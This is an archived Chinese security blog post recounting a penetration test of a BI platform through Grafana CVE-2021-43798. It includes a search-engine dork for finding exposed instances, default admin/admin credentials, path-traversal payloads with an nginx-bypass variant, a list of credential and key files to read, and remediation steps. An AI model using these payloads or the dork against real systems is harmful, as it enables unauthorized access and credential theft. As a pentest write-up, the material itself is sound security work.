Skip to content

Latest commit

 

History

History
241 lines (96 loc) · 7 KB

[潇湘信安]-2022-11-9-某易BI平台渗透之旅.md

File metadata and controls

241 lines (96 loc) · 7 KB

某易BI平台渗透之旅

天明 潇湘信安

潇湘信安

微信号 xxxasec

功能介绍 一个不会编程、挖SRC、代码审计的安全爱好者,主要分享一些安全经验、渗透思路、奇淫技巧与知识总结。


__发表于

收录于合集

#实战案例 121 个

#渗透技巧 29 个

声明: 该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

0x01 前言

这篇文章由"潇湘信安技术交流群"@天明师傅投稿,记录的是他在公司某个安服项目中碰到了这个BI平台,机缘巧合之下发现了这个通用漏洞,特意投稿分享下经验。

0x02 渗透之旅

刚开始采用awvs、afrog和nuclei进行全量的漏洞扫描时未有任何发现,后面尝试目录探测时有了新的发现。

峰回路转之dirsearch的救赎


 [09:42:33] 200 -   32KB - /monitoring/                                      [09:42:33] 200 -   32KB - /monitor/[09:42:33] 200 -   32KB - /monitoring[09:42:34] 200 -   32KB - /monitor   
[09:41:39] 200 -  751B  - /callback

/monitoring/、/monitor/这俩路径绝对会触发302跳转,callback则是随机,可能触发跳转。

这个就是今天的主角。

正常请求BI平台:

zoomeye dork

iconhash:"dfbaaf8af7911cfb7eb068d8b19f6799"

影响范围:仅在V 7.20版本测试成功。

版本号可以根据页面当中的用户手册来判断。

思路1-默认口令

默认口令:admin admin,不知道其他目标如何,至少我碰上的目标未修改。不过即使修改了也无伤大雅,有一个文件读取漏洞等着你,可以搞到grafana的账号密码。

思路2-Grafana文件读取

CVE-2021-43798这个漏洞信息的部分可自行百度了解,此处单刀直入,直接说利用细节。

最初的验证POC为:

 /monitor/public/plugins/grafana-clock-panel/../../../../../../../../etc/passwd

此处利用应修改为:

 /monitor/public/plugins/grafana-clock-panel/../../../../../../../../etc/passwd

注: 一般情况下就成了,如果对方使用了nginx/apache反代,中间件的URI_normalization机制导致URL被标准化。此时原有payload就会失效,服务端会爆400错误。如下图所示:


# proxy_grafana.conf  
server {    listen         8081;    server_name    127.0.0.1;    charset        utf-8;    location / {        proxy_pass http://192.168.1.100:3000;    }}

此时可采用bypass 400的payload进行绕过,payload为:

/monitor/public/plugins/text/#/../../../../../../../../../../etc/passwd

深入利用

/etc/grafana/grafana.ini         #grafana控制台的管理员明文密码/var/lib/grafana/grafana.db      #控制台其他账户

/etc/grafana/grafana.ini

linux文件遍历,此处只举出比较重要的,更全面的可以参考Web-Fuzzing-Box的Linux_File.txt


/conf/defaults.ini/etc/grafana/grafana.ini/etc/passwd/etc/shadow/home/grafana/.bash_history/home/grafana/.ssh/id_rsa/root/.bash_history/root/.ssh/id_rsa/usr/local/etc/grafana/grafana.ini/var/lib/grafana/grafana.db/proc/net/fib_trie/proc/net/tcp/proc/self/cmdline

关于nginx proxy error 400相关文章可参考,这里我用的是第二篇文章里的一个payload。

https://articles.zsxq.com/id_baeb9hmiroq5.html    https://blog.riskivy.com/grafana-任意文件读取漏洞分析与汇总cve-2021-43798/#_Nginx_400

关于CVE-2021-43798的修复

  1. 升级到安全版本,即版本号>8.3.0。
  2. 临时防御:修改proxy_grafana的配置如下所示:

Tips :重点是proxy_pass的端口号后一定要加上/


# proxy_grafana.confserver {listen         8081;server_name    127.0.0.1;charset        utf-8;location / {proxy_pass http://192.168.1.100:3000/;    }}

0x03 参考文章

 https://github.com/jas502n/Grafana-CVE-2021-43798https://blog.riskivy.com/grafana-任意文件读取漏洞分析与汇总cve-2021-43798/

关 注 有 礼

关注公众号回复“9527”可以领取一套HTB靶场文档和视频,“1208”个人常用高效爆破字典,“0221”2020年酒仙桥文章打包,“2191”潇湘信安文章打包,“1212”杀软对比源码+数据源,“0421”Windows提权工具包。

还在等什么?赶紧点击下方名片关注学习吧!


推 荐 阅 读


预览时标签不可点

微信扫一扫
关注该公众号

知道了

微信扫一扫
使用小程序


取消 允许


取消 允许

: , 。 视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看